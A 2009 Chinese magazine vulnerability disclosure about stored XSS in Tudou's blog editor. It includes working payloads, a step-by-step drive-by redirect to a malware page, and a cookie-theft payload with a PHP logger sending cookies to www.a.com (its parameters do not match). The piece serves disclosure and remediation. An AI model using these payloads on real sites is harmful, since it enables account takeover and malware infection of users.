看快女看出土豆漏洞

安全阵线

本期主角:土豆日志

问题所在:日志内容过滤不严

主要危害:进行挂马攻击,泄露注册用户信息

调研时间:2009.7.24~2009.7.26

漏洞状况:已通知修复

多年以前,小编因为一段搞笑视频,才知道了土豆。这几年,随着视频网站的壮大,访问量的增加,土豆在Alexa的排名已上升到70位(图1),对之感兴趣的黑客已不在少数。

30-f07-01.jpg

电脑报的安全研究团队正在不断壮大,最近又有一名高手——程利军,接受小编的邀请加入。他为我们做的第一个贡献就是发现了土豆的挂马漏洞,漏洞是他在看快女时无意中发现的。该漏洞与一般的挂马漏洞不同,它可以将挂马地址存储到网站内部。

最近快女比赛揪动人心,我在土豆上看得不亦乐乎。看完之后,心情澎湃想发泄一下,于是就在我的土豆日志上准备写诗,写着写着就发现了一个漏洞。太夸张?为什么就我会看到漏洞?其实,我是一名安全研究人员,出于职业习惯,看东西老是跟别人不一样。

在土豆日志中的漏洞,可以被用来挂马,传播各种盗号病毒,一旦盗号病毒进入用户的电脑,个人信息就有可能被盗。此外,该漏洞还可以用来登录其他用户的账号,用户的注册信息会泄露。

日志内容标签过滤不严

土豆网页中发表日志的文本框功能丰富,对用户而言使用非常方便,其中有一项功能是源代码的编辑,这个地方存在过滤不严导致的跨站漏洞。提交源代码时,网站服务器会对提交的源代码进行过滤,如果算法存在问题,就会出现过滤不充分的情况。如果用户提交的是恶意内容,就会造成跨站漏洞。这类跨站漏洞又被称为存储型跨站漏洞,其跨站脚本存放在服务器数据库里。

土豆只过滤了某些HTML标记,例如iframe、 javascript、 embed、 object等,而没有过滤 body、input 、isindex3个标签。在发表日志处输入<body onload="alert(/xss/)">testtest或者输入<isindex type=image onerror=alert(/xss/) src=>testtest或者输入<input type=image src="" onerror=alert(/xss/)>testtest,都会弹出警告提示框(图2)。

30-f07-02.jpg

我们可以把该漏洞想象成一个正规的包装盒,网页木马就好比是假药,现在把假药放入包装盒中,普通的消费者无法辨认真伪,就连药品生产厂商也分辨不出,它会把装有假药的包装盒放到仓库中,再卖给消费者。

漏洞带来的两种危害

看了上面的介绍,有人可能会说:就弹一个小框框,能对我造成什么危害呀!如果你这样想,就大错特错了,如果弹出的不是警告框,而是网页木马的话……

危害1:挂马

第一步:制作一个利用微软DirectShow视频漏洞传播的木马,再进行免杀处理,接着利用黑客工具生成挂马网页,将挂马网页和木马都上传到指定的网站中(编者注:网页木马的制作方法请参考反击网页挂马系列)。

第二步:假设www.a.com/t.html就是制作好的挂马网页,现在要把它嵌入土豆日志中。先注册一个土豆的账号,获得一个可以管理日志的页面,如图3所示,这样就可以在日志中输入挂马代码了。

30-f07-03.jpg

第三步:在日志管理页面左上角点击“发表新日志”,进入发表新日志页面(图4),在页面中勾选“HTML”,进入HTML编辑区(图5)。在HTML编辑区中,输入<body onmouseover="window.open('www.a.com/t.html','_self');">loading,然后点击“发表日志”即可。

30-f07-04.jpg
30-f07-05.jpg

最后,等别人访问自己的日志或者主动将链接发到人多的论坛、播客、QQ群等地方。此外,还可以把挂马页面换成博客页面或者个人网站,获取大量的流量。

危害2:窃取土豆用户的账号

通过窃取注册用户的Cookie,登录他们的账号。先准备一个网站,例如www.a.com,再准备一个页面t.php,在t.php中输入<? fwrite(fopen('cookie.txt','a+'),$_GET['d']);?>(图6),这段代码的意思是打开cookie.txt这个文件,并把d这个变量的内容写进去。

30-f07-06.jpg

在HTML的编辑区中,输入<body onmouseover="window.location.href='http://www.a.com/t.php?q='+document.cookie;" >loading,然后点击“发表日志”(图7)。

30-f07-07.jpg

日志发布后,当注册用户点击日志时,就会自动跳转到www.a.com/t.php页面,在cookie.txt中则记录了该注册用户的Cookie信息,接下来通过Cookie欺骗就可以登录该注册用户的账号,导致用户的注册信息泄露。

漏洞解决方案

要堵上漏洞,土豆要对日志网页进行严格过滤,把<body>、<isindex>、<input>这些标签加入过滤策略,不允许黑客远程调用网址。此外,要定期对网站的程序进行安全检测,及时发现问题早日解决。

对普通用户而言,上网时一定要开启杀毒软件的实时监控功能,最好使用带网页木马拦截功能的安全辅助工具。遇到网址,不要盲目点击,先看看网址是不是被加密过,如果网址被加密过最好就不要点击。